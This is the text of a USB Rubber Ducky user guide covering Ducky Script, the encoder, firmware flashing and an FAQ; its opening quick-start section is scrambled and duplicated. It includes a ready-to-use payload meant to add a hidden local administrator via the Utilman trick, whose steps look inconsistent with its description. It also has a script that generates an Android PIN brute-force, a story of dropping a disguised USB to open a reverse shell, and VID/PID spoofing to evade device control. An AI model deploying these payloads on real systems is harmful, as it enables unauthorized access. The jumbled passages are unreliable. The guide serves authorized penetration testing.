Usb Rubber Ducky
Usb Rubber Ducky
Usb Rubber Ducky
Ducky Script syntax is simple. Each command resides on a new line and may have options follow. Commands are written
1. Write a payload in your text editor of choice in ALL CAPS. Most commands invoke keystrokes, key-combos or strings of text, while some offer delays or pauses.
Any standard ASCII text editor can be used, such as notepad, vi, nano, emacs or textedit. For example, open notepad and
write “STRING Hello World” (without quotes). Save the file as mypayload.txt. Reference the Ducky Script on the next page REM - Similar to the REM command in Basic and other languages, lines beginning with REM will not be processed.
for syntax details or visit USBRubberDucky.com for example payloads. DEFAULTDELAY n - defines how long (in milliseconds * 10) to wait between each subsequent command.
DELAY n - creates a momentary pause in the ducky script (in milliseconds * 10) from 1 to 10000
2. Encode your payload with the Duck Encoder utility STRING - processes the text following taking special care to auto-shift. STRING can accept a single or multiple characters.
Download the latest version of duckencoder from USBRubberDucky.com. This cross-platform command line Java app a…z A…Z 0..9 !…) `~ += _- ”' :; <, >. ?/ \ |
encodes the ASCII text file into a binary ready to be processed by the USB Rubber Ducky. GUI - Emulates the Windows-Key, sometimes referred to as the Super-key.
Usage: java -jar duckencode.jar -i mypayload.txt -o inject.bin MENU - Emulates the App key, sometimes referred to as the menu key or context menu key.
SHIFT - can be used when navigating fields to select text, among other functions. Accept the following:
3. Copy the encoded payload to the Micro SD card DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB
Place the inject.bin file created by the Duck Encoder on the root of the Micro SD card. Your payload is now ready. ALT - accepts END, ESC, ESCAPE, F1…F12, Single Char, SPACE, TAB
CTRL - accepts BREAK, PAUSE, F1…F12, ESCAPE, ESC, Single Char
4. Insert the Micro SD card into the USB Rubber Ducky Arrow Keys - DOWNARROW, UPARROW, LEFTARROW, RIGHTARROW
Slide the Micro SD card completely into the reader on the USB Rubber Ducky. The card will rest flush with the board. More Keys - BREAK, PAUSE, CAPSLOCK, DELETE, END, ESC, ESCAPE, HOME, INSERT, NUMLOCK,
PAGEUP, PAGEDOWN, PRINTSCREEN, SCROLLLOCK, SPACE, TAB
5. Plug the USB Rubber Ducky into your target PC
The USB Rubber Ducky will be recognized as a keyboard and automatically begin executing your payload. In the example For complete ducky script syntax, example payloads and tutorials visit USBRubberDucky.com
above the text “Hello World” is typed. Press the micro button above the Micro SD card slot to repeat the payload.
Alternatively a cloud based Ducky Script editor and Duck Encoder can be found at USBRubberDucky.com
*
TXT
* There was no good icon for the Duck Encoder so I used a T-Rex
permission before using. Hak5, LLC. and affiliates claim no responsability for unauthorized use or damages. Please hack responsibly.
The USB Rubber Ducky is a penetration testing tool for use in authorized security audits where permitted. Check laws and obtain
Disclaimer
The store FAQ can be found at hakshop.com.
from the USBRubberDucky.com site. Concerns regarding orders can be addressed to [email protected].
Software updates, payload samples, related segments from Hak5, guides and the USB Rubber Ducky forums are linked
Support
executed in a matter of seconds.
retrieving data, initiating reverse shells, or basically anything that can be achieved with physical access -- all automated and
and a simple scripting language anyone is able to craft payloads capable of changing system settings, opening back doors,
The USB Rubber Ducky isn't an ordinary HID (Human Interface Device). Coupled with a powerful 60 MHz 32-bit processor
USB Rubber Ducky Quack Start Guide About
Getting started Ducky Script Syntax
Ducky Script syntax is simple. Each command resides on a new line and may have options follow. Commands are written
1. Write a payload in your text editor of choice in ALL CAPS. Most commands invoke keystrokes, key-combos or strings of text, while some offer delays or pauses.
Any standard ASCII text editor can be used, such as notepad, vi, nano, emacs or textedit. For example, open notepad and
write “STRING Hello World” (without quotes). Save the file as mypayload.txt. Reference the Ducky Script on the next page REM - Similar to the REM command in Basic and other languages, lines beginning with REM will not be processed.
for syntax details or visit USBRubberDucky.com for example payloads. DEFAULTDELAY n - defines how long (in milliseconds * 10) to wait between each subsequent command.
DELAY n - creates a momentary pause in the ducky script (in milliseconds * 10) from 1 to 10000
2. Encode your payload with the Duck Encoder utility STRING - processes the text following taking special care to auto-shift. STRING can accept a single or multiple characters.
Download the latest version of duckencoder from USBRubberDucky.com. This cross-platform command line Java app a…z A…Z 0..9 !…) `~ += _- ”' :; <, >. ?/ \ |
encodes the ASCII text file into a binary ready to be processed by the USB Rubber Ducky. GUI - Emulates the Windows-Key, sometimes referred to as the Super-key.
Usage: java -jar duckencode.jar -i mypayload.txt -o inject.bin MENU - Emulates the App key, sometimes referred to as the menu key or context menu key.
SHIFT - can be used when navigating fields to select text, among other functions. Accept the following:
3. Copy the encoded payload to the Micro SD card DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW, RIGHTARROW, TAB
Place the inject.bin file created by the Duck Encoder on the root of the Micro SD card. Your payload is now ready. ALT - accepts END, ESC, ESCAPE, F1…F12, Single Char, SPACE, TAB
CTRL - accepts BREAK, PAUSE, F1…F12, ESCAPE, ESC, Single Char
4. Insert the Micro SD card into the USB Rubber Ducky Arrow Keys - DOWNARROW, UPARROW, LEFTARROW, RIGHTARROW
Slide the Micro SD card completely into the reader on the USB Rubber Ducky. The card will rest flush with the board. More Keys - BREAK, PAUSE, CAPSLOCK, DELETE, END, ESC, ESCAPE, HOME, INSERT, NUMLOCK,
PAGEUP, PAGEDOWN, PRINTSCREEN, SCROLLLOCK, SPACE, TAB
5. Plug the USB Rubber Ducky into your target PC
The USB Rubber Ducky will be recognized as a keyboard and automatically begin executing your payload. In the example For complete ducky script syntax, example payloads and tutorials visit USBRubberDucky.com
above the text “Hello World” is typed. Press the micro button above the Micro SD card slot to repeat the payload.
Alternatively a cloud based Ducky Script editor and Duck Encoder can be found at USBRubberDucky.com
TXT
* There was no good icon for the Duck Encoder so I used a T-Rex
permission before using. Hak5, LLC. and affiliates claim no responsability for unauthorized use or damages. Please hack responsibly.
The USB Rubber Ducky is a penetration testing tool for use in authorized security audits where permitted. Check laws and obtain
Disclaimer
The store FAQ can be found at hakshop.com.
from the USBRubberDucky.com site. Concerns regarding orders can be addressed to [email protected].
Software updates, payload samples, related segments from Hak5, guides and the USB Rubber Ducky forums are linked
Support
1
Appendix: Flashing Guide – Windows................................................................................................... 18
Installation .................................................................................................................................... 18
Atmel Driver .................................................................................................................................. 18
Flashing ......................................................................................................................................... 21
Appendix: Flashing Guide – Linux / OSX ............................................................................................... 22
Introduction ...................................................................................................................................... 22
Compiling .......................................................................................................................................... 22
Flashing the Firmware....................................................................................................................... 22
Dump(backup) current firmware .................................................................................................. 22
Update........................................................................................................................................... 22
Appendix: Firmware Definitions ........................................................................................................... 23
Appendix: Tricks .................................................................................................................................... 25
Change the VID and PID of the Ducky Firmware v1 .......................................................................... 25
Locate the VID & PID ..................................................................................................................... 25
Hex Table....................................................................................................................................... 25
Change the VID & PID ................................................................................................................... 26
Change the VID and PID of the Ducky Firmware v2 .......................................................................... 26
Linux: ............................................................................................................................................. 26
Windows: ...................................................................................................................................... 26
Appendix: Ducky Script API ................................................................................................................... 27
REM ............................................................................................................................................... 27
DEFAULT_DELAY or DEFAULTDELAY ............................................................................................. 27
DELAY ............................................................................................................................................ 27
STRING .......................................................................................................................................... 27
WINDOWS or GUI.......................................................................................................................... 28
MENU or APP ................................................................................................................................ 28
SHIFT ............................................................................................................................................. 28
ALT................................................................................................................................................. 28
CONTROL or CTRL.......................................................................................................................... 28
Arrow Keys .................................................................................................................................... 29
Extended Commands .................................................................................................................... 29
Appendix: Creating Language Support in Duck Encoder V2.1+ ............................................................ 30
Language Pack Location .................................................................................................................... 30
How Language Packs Work? ............................................................................................................. 30
2
Creating New Language Support (1) ................................................................................................. 30
So how do you know § = ISO_8859_1_A7?.................................................................................. 30
Creating New Language Support (2) ................................................................................................. 30
How do you discover HID codes?...................................................................................................... 30
Windows Software ........................................................................................................................ 30
Linux Software .............................................................................................................................. 31
Frequently Asked Questions (FAQ) ....................................................................................................... 32
I inserted my Ducky into a Windows Computer and nothing happens? .......................................... 32
My Ducky is flashing Red, what now?............................................................................................... 32
When I plug in the Ducky, it does something weird, and executes everything on my desktop? ..... 32
I'm from X country, the Ducky fires off seemingly random keys, what is going on? ........................ 32
I’m from X country. My language is not supported the Ducky is pointless. .................................... 33
What Languages are Currently Supported? ...................................................................................... 33
OK. How do I run the DuckEncoder.jar using a specific keyboard map? .......................................... 33
What Filesystems are Supported? .................................................................................................... 33
I think my Ducky is Dead? ................................................................................................................. 33
3
Disclaimer
The Ducky (USB Rubber Ducky) is a USB penetration testing tool for use in authorized security audits
where permitted. Check laws and obtain permission before using. Hak5, LLC and affiliates claim no
responsibility for unauthorized use or damages. Please hack responsibly.
Features at a Glance
Simple Scripting Language
Cross Platform
HID attack vector –Type faster than a human
Bypass Device Control Software
Brute-force Login Interfaces
History
Following the success of the USB Switchblade, the attack platform that was super effective against
local Windows targets, the Hak5 community has developed a new kind of attack – this time cross
platform (Windows, Mac, Linux) – which achieves deadly results by posing as an ubiquitous
keyboard.
The USB Rubber Ducky isn’t your ordinary HID (Human Interface Device). Coupled with a powerful
60 MHz 32-bit processor and a simple scripting language anyone is able to craft payloads capable of
changing system settings, opening back doors, retrieving data, initiating reverse shells, or basically
anything that can be achieved with physical access – all automated and executed in a matter of
seconds.
4
Getting to know your Ducky
Hardware
AVR 32bit Micro-Controller
o AT32UC3B1256
o 256Kbytes Internal Flash Storage
o High Speed USB 2.0 BUS
Micro SD Card Reader
Micro Push Button
Multi-Color LED indicator
Standard USB “Type A” Connector
Full specification can be found in Appendix: Specification.
Ducky Script syntax is simple. Each command resides on a new line and may have options follow.
Commands are written in ALL CAPS, because ducks are loud and like to quack with pride. Most
commands invoke keystrokes, key-combos or strings of text, while some offer delays or pauses.
Unlike the Teensy, where a knowledge of C-based and Arduino-based programming knowledge is a
necessity. Ducky Script aims to be a high-level language that anyone of any skill level or age can
quickly learn.
Modules/Additional Firmware
The community has helped build additional Ducky functionality by publishing firmware:
More details on the retrospective firmware, their use and limitations can be found in Appendix:
Firmware Definitions.
5
The Story of Bob
Bob is a Professional Penetration Tester for company X. Bob’s specialty is Social Engineering
engagements. Company ACME-Financial, has hired company X (Bobs employer) to perform some
annual penetration testing to ensure that all their customers financial information is safe, and
cannot be hacked into by a 3rd party (industrial espionage). The assessment involves standard
infrastructure and application testing, but ACME-Financial are additionally worried about Social
Engineering (SE); could anyone just walk into the building and start attacking them from their own
system.
Bob, being an experienced Social Engineer had the following initial options:
Walk in through the front gate SE the receptionist, sit down at an empty desk and start
hacking.
Tailgate an employee returning to work after a smoke break, sit down at an empty desk and
start hacking.
Drop a USB drive (switchblade) in the car-park/communal-area/smokers-area, hope
someone notices the drive, picks it up and inserts it into the machine at their desk. The USB
starts a reverse-shell to a server Bob controls, Bob can start hacking.
Bob talked to his Team-mates about the internal infrastructure of ACME-Financial, and the security
policies in place. Bob finds out that:
Bob recalled that recently he had seen a USB Rubber Ducky demo at Toorcon; a small USB device
that could emulate a Keyboard. Bob started to think about the inherent trust between a computer
and its peripherals. Bob had never come across a computer that refused to utilize a newly insert
Keyboard.
So Bob ordered a USB Rubber Ducky and a case, and began experimenting with HID emulation, and
Ducky Scripts.
Bob made a reverse-shell payload, and inserted the Ducky into its case, the Ducky now resembled a
plain USB drive; which upon insertion would rapidly start typing at the keyboard and effectively
create a reverse-shell to Bob’s server on the internet. Bob stuck a sticker on the USB labeled “2012
Top Account Info” and dropped it in the smokers-area, hoping someone would spot it, pick it up, and
try to read the USB drive in their machine.
Bob waited patiently in his car, using his 4G modem to access the Internet. Bob sat quietly, waiting
for the ping of a reverse-shell. Then boom, Bob had access to the local network! Someone had
inserted Bob’s Ducky into their computer.
6
Connecting for the First Time
The Ducky is preloaded with the default factory HID emulation firmware. When inserting the Ducky
into a Windows Operating System, the Ducky should open a run box, and take the user to
http://www.hak5.org/.
Now remove the SDcard from the Ducky. It can be a little stiff at first so don’t panic if it seems stuck.
Use an SDcard adapter (link to hak5 shop), or use any other adapter (camera card), or even a native
port on your PC/Laptop.
Now from a shell/prompt, move into the same directory as duckencoder.jar (Usually E:/)
Example:
cd e:/
java –jar duckencoder.jar –i example_1.txt –o inject.bin
Now eject the SDcard, and insert it into the Ducky. Ensure the SDcard is flush with the end of the
Ducky’s board.
Insert the Ducky into your Windows OS. You should see the Ducky open notepad and type our
simple message.
7
Using Encoder Version 2.1+
Download: http://code.google.com/p/ducky-decode/
After discovering the weakness of the first public release of the Ducky, it was soon apparent that the
Ducky failed to work for other countries/languages. It was discovered that certain languages moved
keys around (e.g. English - QWERTY, German - QWERTZ), and other languages added additional keys
(e.g. UK Keyboard has \, £, etc.). Initial credit here goes to Midnitesnake for the original Proof-of-
Concept (PoC) proving support for languages was located within the encoder and not the firmware.
Recent credit goes to Dnucna for improving Midnitesnake’s PoC and producing the Duck Encoder
V2.1+, that uses a properties file to define what keystrokes generate a particular character (within a
given format ASCII, ISO, UTF, etc.).
Now remove the SDcard from the Ducky. It can be a little stiff at first so don’t panic if it seems stuck.
Use an SDcard adapter (link to hak5 shop), or use any other adapter (camera card), or even a native
port on your PC/Laptop.
Now from a shell/prompt, move into the same directory as duckencoder.jar (Usually E:/).
Example (Windows):
cd e:/
java –jar duckencoder.jar –l resources\uk.properties –i example_1.txt –o
inject.bin
Now eject the SDcard, and insert it into the Ducky. Ensure the SDcard is flush with the end of the
Ducky’s board.
Insert the Ducky into your Windows OS. You should see the Ducky open notepad and type our
simple message.
8
Sample Ducky Code
A collection of payloads can be found here:
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
DELAY 5000
GUI d
DELAY 500
PRINTSCREEN
DELAY 100
MENU
DELAY 300
STRING V
DELAY 40
STRING D
DELAY 300
GUI r
DELAY 700
STRING mspaint
ENTER
DELAY 1200
CTRL v
DELAY 500
CTRL s
DELAY 1000
STRING %userprofile%\a.bmp
ENTER
DELAY 500
ALT f
DELAY 400
STRING K
DELAY 100
STRING F
DELAY 1000
ALT F4
DELAY 300
GUI d
9
Windows Utilman Exploit
Author: Xcellerator (props to Jay Kruer’s Fork Bomb script for the UAC bypass technique!)
Duckencoder: 1.0
Target: Windows 7
Description: Uses the Utilman.exe Exploit to create a new local administrator account
“Local000” with the password “hak5”.
10
STRING exit
ENTER
DELAY 50
GUI r
STRING cmd
ENTER
DELAY 50
STRING cd "%systemroot%\System32"
ENTER
DELAY 50
STRING delete Utilman.exe
ENTER
DELAY 50
STRING y
ENTER
DELAY 50
STRING ren Utilman.exe.bak Utilman.exe
ENTER
DELAY 50
STRING exit
ENTER
GUI
STRING cmd
MENU
STRING a
ENTER
DELAY 50
LEFT
ENTER
DELAY 200
STRING net user Local000 *
ENTER
STRING hak5
ENTER
STRING hak5
ENTER
STRING exit
ENTER
11
Ducky’s In Disguise
USB Case
To make the ducky more effective and durable during engagements, the Ducky now comes with a
USB case. The casing is specifically molded to the Ducky’s board for a nice, snug convincing fit.
Novelty Duck
You should have also received a novelty rubber duck (one of many assorted colors). To make your
Ducky look like a novelty USB Device. Your “Novelty” Ducky needs some surgery.
Simply cut a small lateral incision into the Ducky’s behind, then squeeze the Ducky’s bum and gently
insert the Ducky (Electronic board). You then should have something looking like Figure 3: Novelty
Rubber Ducky.
12
Ducky & Android
Darren discovered that a Ducky could be used to brute-force an Android Pin. Thus far it has worked
perfectly on a Galaxy Nexus/Note running the latest Android 4.2.1.
For this attack to work you’ll need a USB (micro) On-The-Go (OTG) cable like the one pictured below:
With a 4 digit PIN and the default of 5 tries followed by a 30 second timeout you're looking at a best
case scenario of exhausting the key space in about 16.6 hours. Thankfully the USB Rubber Ducky
never gets tired, bored or has to pee.
Rather than post the nearly 600K Ducky Script below is the bash script used to create it. You could
modify it to do 5 digits, but that would take 166 hours. 10 digits would take 1902.2 years.
13
Linux – Bash Script
echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1
echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' |
sed ‘s/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY
5000\nENTER/g' >> android_brute-force_0000-9999.txt
Improvements
You may want to alter the Ducky Script to try the Top 10 most common Phone Pins, before the
brute-force attempts:
1234
1111
0000
1212
7777
1004
2000
4444
2222
6969
14
Support
Software updates, related segments from the Hak5 show, articles from the Hak5 blog, and the USB
Rubber Ducky forums are linked from the usbrubberducky.com site. Concerns regarding orders can
be addressed to [email protected].
When posting questions to the USB Rubber Ducky forum, please provide:
15
Credits
The USB Rubber Ducky is brought to you by the Quack-Team:
Darren Kitchen
Jason Applebaum
Midnitesnake
Dnucna
ApacheTechConsultancy
http://forums.hak5.org/index.php?/forum/56-usb-rubber-ducky/
Open source software is distributed under the GNU General Public License
http://www.gnu.org/licenses/gpl.html
http://www.atmel.com/about/legal.asp
Thanks
To everyone that helped with payloads, and helped develop new keymaps.
16
Appendix: Specification
Two Multipurpose Oscillators and Two
Atmel AT32UC3B1256 Features Phase-Lock-Loop (PLL) allowing
Independant CPU Frequency from USB
High Performance, Low Power AVR 32 UC Frequency
32-Bit Microcontroller Watchdog Timer, Real-Time Clock Timer
Compact Single-cycle RISC Instruction Set Universal Serial Bus (USB)
Including DSP Instruction Set Device 2.0 and Embedded Host Low
Read-Modify-Write Instructions and Speed and Full Speed
Atomic Bit Manipulation Flexible End-Point Configuration and
Performing up to 1.39 DMIPS / MHz Management with Dedicated DMA
Up to 83 DMIPS Running at 60 MHz from Channels
Flash On-chip Transceivers Including Pull-Ups
Up to 46 DMIPS Running at 30 MHz from USB Wake Up from Sleep Functionality
Flash One Three-Channel 16-bit Timer/Counter
Memory Protection Unit (TC)
Multi-hierarchy Bus System Three External Clock Inputs, PWM,
High-Performance Data Transfers on Capture and Various Counting Capabilities
Separate Buses for Increased One 7-Channel 20-bit Pulse Width
Performance Modulation Controller (PWM)
7 Peripheral DMA Channels Improves Three Universal
Speed for Peripheral Communication Synchronous/Asynchronous
Receiver/Transmitters (USART)
Internal High-Speed Flash
512K Bytes, 256K Bytes, 128K Bytes, 64K Independant Baudrate Generator,
Bytes Versions Support for SPI, IrDA and ISO7816
interfaces
Single Cycle Access up to 30 MHz
Support for Hardware Handshaking,
Prefetch Buffer Optimizing Instruction
RS485 Interfaces and Modem Line
Execution at Maximum Speed
One Master/Slave Serial Peripheral
4ms Page Programming Time and 8ms
Interfaces (SPI) with Chip Select Signals
Full-Chip Erase Time
One Synchronous Serial Protocol
100,000 Write Cycles, 15-year Data
Controller
Retention Capability
Supports I2S and Generic Frame-Based
Flash Security Locks and User Defined
Protocols
Configuration Area
One Master/Slave Two-Wire Interface
Internal High-Speed SRAM, Single-Cycle
(TWI), 400kbit/s I2C-compatible
Access at Full Speed
One 8-channel 10-bit Analog-To-Digital
96K Bytes (512KB Flash), 32K Bytes
Converter, 384ks/s
(256KB and 128KB Flash), 16K Bytes (64KB
Flash) 16-bit Stereo Audio Bitstream DAC
Interrupt Controller Sample Rate Up to 50 KHz
Autovectored Low Latency Interrupt QTouch Library Support
Service with Programmable Priority Capacitive Touch Buttons, Sliders, and
System Functions Wheels
QTouch and QMatrix Acquisition
Power and Clock Manager Including
Internal RC Clock and One 32KHz
Oscillator
17
Appendix: Flashing Guide – Windows
When it comes to programming the Duck you'll need these resources for Windows:
http://code.google.com/p/ducky-decode/source/browse/trunk/Flash/Duck%20Programming.zip .
Additionally you may need JRE FLIP from http://www.atmel.com/tools/FLIP.aspx and be sure to use
the drivers in the Programming.zip
x86 - http://www.microsoft.com/en-gb/download/deails.aspx?id=5555
x64 - http://www.microsoft.com/en-gb/download/details.aspx?id=14632
Installation
Atmel Driver
Insert the Ducky in dfu-mode (holding the Ducky's button down continuously, while
inserting the Ducky into the PC)
If Windows does not automatically install the correct driver, don’t worry a manual install
will resolve the problem.
Windows XP: Right-Click My Computer -> Properties -> Hardware Profiles -> Device
Manager
Windows Vista+: Right Click My Computer -> Properties -> Device Manager
The Atmel Device can be found under other devices, and should have a small yellow
warning icon – indicting driver issues. We need to update the driver, achieved by following
the next steps:
18
Figure 7: Device Manager - Find the Atmel USB Device
19
Figure 9: Manually Install Atmel Driver
20
Flashing
First insert the ducky while continuously keeping the little black button pressed.
This puts the ducky into dfu-mode; we need to be in this mode to update the firmware.
program.bat new_firmware.hex
21
Appendix: Flashing Guide – Linux / OSX
Introduction
On the Unix/OSX side grab these nice shell scripts to dump existing and program new firmware.
Available here: dfu-programmer-0.5.4
Note: There are reported problems with dfu-programmer version 0.5.2, please try the latest version
in the link provided above.
Compiling
Update
Step 1 - erase the ducky:
22
Appendix: Firmware Definitions
Duck
Duck.hex the original duck firmware, enhanced to work on all Operating System's (Win, Unix, OSX,
Android,+).
FAT Duck
USB.hex turns the Ducky into a USB Mass Storage Device.
Originally mocked, as useless; some people missed the potential/purpose of this project. Originally
developed to bypass device-control software that would black list/whitelist USB devices based off
VID and PID codes. As the Ducky is programmable, so-long-as a valid VID/PID device class was used,
the Ducky could bypass device-control software.
This was publically released when Ducky support appeared to dwindle. Thoughts were at least
people could convert their Duck into a useful USB drive, rather than have a failed project stuck in a
drawer (Folks had originally forked out $80(USD) for one of these little fellas). Others called Ducky
owners Quackers.
This projects Firmware was originally nicknamed The Naked Duck / Naked Ducky Edition as the
Ducky had to be naked for you to push the button and trigger the 2nd/3rd/4th payload; recent
developments with version 2 firmware should trigger directly from the keyboard.
Intended Purpose
23
Multi OS Support
So on Windows Host, ensure Num_Lock is lit, and push the Ducky's button to deliver a Windows-
based Payload.
On OSX, ensure Caps_Lock is lit, and push the Ducky's button to deliver an OSX-based Payload.
You may depending on installed software (e.g. powershell) want to trigger one of two different
payloads.
Twin Duck
c_duck_v2.hex - Composite Duck, Multi-lingual .
This was another major project goal. Created a working Proof-of-Concept just in time for the 1-year
anniversary! HID injection and Mass Storage support all within one device.
24
Appendix: Tricks
Change the VID and PID of the Ducky Firmware v1
Rather than recompile the firmware to change the VID and PID of the Ducky.
Simply use a hex-editor / or a simple sed script - to change the VID and PID!
Warning: You need to keep the VID & PID within the same device class. Eg keyboard for HID mode,
USB Drive, for storage mode.
If you give the Ducky a completely different (or random) VID & PID such as a digital camera /
webcam - the OS will load the wrong driver and the Ducky will not work!
Due to the Endian-ess of the hex file we need to search for EB030324
Hex Table
To understand the relationship between hex and decimal, please refer to the table in the link below:
25
Change the VID & PID
Now on Linux, we can easily change the PID to 2503. ( or 0325 after being converted to hex =
\x30\x33\x32\x35 via sed
The following command is used to change the VID & PID, usb.hex is left in its default state (backup)
usb1.hex will contain our new firmware with the VID /PID changed:
Simply use a hex-editor to create a file called vidpid.bin on the root of the sdcard.
Linux:
$ hexedit /media/DUCKY/vidpid.bin
…
00000000 03 EB 03 25 ...%
00000014
Warning: The VID and PID have to match the class of the device e.g. a composite firmware will not
work with the VID and PID of a keyboard, it needs a matching composite device VID & PID.
It couldn’t be easier.
Windows:
Use a free hex-editor like:
http://mh-nexus.de/en/hxd/
http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm
http://www.wxhexeditor.org
26
Appendix: Ducky Script API
REM
Similar to the REM command in Basic and other languages, lines beginning with REM will not be
processed. REM is a comment. ^ Command ^ | REM |
DEFAULT_DELAY or DEFAULTDELAY
DEFAULT_DELAY or DEFAULTDELAY is used to define how long (in milliseconds * 10) to wait between
each subsequent command. DEFAULT_DELAY must be issued at the beginning of the ducky script
and is optional. Not specifying the DEFAULT_DELAY will result in faster execution of ducky scripts.
This command is mostly useful when debugging. ^ Command ^ Parameters ^ | DEFAULT_DELAY |
//n * 10 ms// | | DEFAULTDELAY | //n * 10 ms// |
DEFAULT_DELAY 10
REM delays 100ms between each subsequent command sequence
DELAY
DELAY creates a momentary pause in the ducky script. It is quite handy for creating a moment of
pause between sequential commands that may take the target computer some time to process.
DELAY time is specified in milliseconds from 1 to 10000. Multiple DELAY commands can be used to
create longer delays. ^ Command ^ Parameters ^ | DELAY | //n * 10 ms// |
DELAY 50
REM will wait 500ms before continuing to the next command.
STRING
STRING processes the text following taking special care to auto-shift. STRING can accept a single or
multiple characters. ^ Command ^ Parameters ^ | STRING | a…z A…Z 0..9 !…) `~ += _- “‘ :; <, >. ?/ \
and pipe |
GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World!
27
WINDOWS or GUI
GUI r
REM will hold the Windows-key and press r, on windows systems resulting in the Run
menu.
MENU or APP
Emulates the App key, sometimes referred to as the menu key or context menu key. On Windows
systems this is similar to the SHIFT F10 key combo, producing the menu similar to a right-click. ^
Command ^ | APP | | MENU |
GUI d
MENU
STRING v
STRING d
//Switch to desktop, pull up context menu and choose actions v, then d toggles displaying Windows
desktop icons//
SHIFT
Unlike CAPSLOCK, cruise control for cool, the SHIFT command can be used when navigating fields to
select text, among other functions. ^ Command ^ Optional Parameter ^ | SHIFT | DELETE, HOME,
INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, DOWNARROW, LEFTARROW,
RIGHTARROW, TAB |
SHIFT INSERT
REM this is paste for most operating systems
ALT
Found to the left of the space key on most keyboards, the ALT key is instrumental in many
automation operations. ALT is envious of CONTROL. ^ Command ^ Optional Parameter ^ | ALT
|END, ESC, ESCAPE, F1…F12, Single Char, SPACE, TAB |
GUI r
DELAY 50
STRING notepad.exe
ENTER
DELAY 100
STRING Hello World
ALT f
STRING s
REM alt-f pulls up the File menu and s saves. This two keystroke combo is why ALT
is jealous of CONTROL's leetness and CTRL+S
CONTROL or CTRL
The king of key-combos, CONTROL is all mighty. ^ Command ^ Optional Parameters ^ | CONTROL |
BREAK, PAUSE, F1…F12, ESCAPE, ESC, Single Char | | CTRL | BREAK, PAUSE, F1…F12, ESCAPE, ESC,
Single Char |
28
CONTROL ESCAPE
REM this is equivalent to the GUI key in Windows
Arrow Keys
Extended Commands
^ Command ^ Notes ^ | BREAK or PAUSE | For the infamous combo CTRL BREAK | | CAPSLOCK |
Cruise control for cool. Toggles | | DELETE | | | END | When will it ever | | ESC or ESCAPE | You can
never | | HOME | There’s no place like | | INSERT | | | NUMLOCK | Toggles number lock | |
PAGEUP | | | PAGEDOWN | | | PRINTSCREEN | Typically takes screenshots | | SCROLLLOCK | Hasn’t
been nearly as useful since the GUI was invented | | SPACE | the final frontier | | TAB | not just a
cola.
29
Appendix: Creating Language Support in Duck Encoder V2.1+
Example 1:
KEY_A = 4
KEY_B = 5
KEY_C = 6
KEY_D = 7
…
Please read the file for a definitive list.
When your Ducky Script is read, the Encoder simply replaces the Ducky Script with the appropriate
binary code. This is then saved as a binary file (default inject.bin). The Ducky reads this binary file,
and sends the data as raw HID codes – thus emulating a USB Keyboard.
You can either match up your characters, to those that appear on a QWERTY keyboard.
http://www.charset.org/charactersets.php
Windows Software
Busdog (Open Source) http://code.google.com/p/busdog/
USBlyzer (Commercial, Trial) http://www.usblyzer.com/download.htm
30
Linux Software
Wireshark (Open Source) http://www.wireshark.org/
Once you have installed an appropriate USB sniffer and your computer is ready.
IMPORTANT: Record you key strokes, this way its easy to work out the HID codes. You should be
able to easily identify the start and end because the same character/code should be repeated 5x in a
row.
31
Frequently Asked Questions (FAQ)
I inserted my Ducky into a Windows Computer and nothing happens?
The Ducky’s LEDs are programmed to provide feedback to the user, flashing green LED usually
means the computer and Ducky are talking to each other. A flashing red LED means the Ducky can’t
read the SDcard.
Sometimes, the host OS is a bit slow and misses the Ducky’s commands while it is enumerating the
device. The Ducky’s button acts as a simple reply button in its default setting.
Check that the Ducky’s button has not become stuck (thus, always entering dfu-mode).
When I plug in the Ducky, it does something weird, and executes everything
on my desktop?
The secret behind multi-OS support was the timings in the USB stack – The Ducky is real fast. As
such the Ducky will start quacking commands as soon as it is inserted into the computer. Try adding
a wait command “DELAY 5000” as the first line in your Ducky Script. This gives the host OS enough
time to enumerate the Ducky as a HID keyboard.
Note: You may need to tweak the DELAY command depending on your system(s).
I'm from X country, the Ducky fires off seemingly random keys, what is
going on?
The stock duckencoder.jar only supports keymaps for USA.
However, the community Duckencoder (available from http://code.google.com/p/ducky-decode)
can support more language/keymaps.
32
I’m from X country. My language is not supported the Ducky is pointless.
Please don’t think like that.
The solution is simple. First Look at Appendix: Creating Language Support in Duck Encoder V2.1. If
you have any problems get onto the forums http://forums.hak5.org and ask for support. We can
guide you through the process of creating a new key-map, which will benefit everyone. Without the
community, this project cannot succeed. We need you! And your feedback is welcomed!
Depending on your OS this may be either FAT,FAT16,FAT32,VFAT. (For sdcards over 2GB it has to be
FAT32/VFAT)
33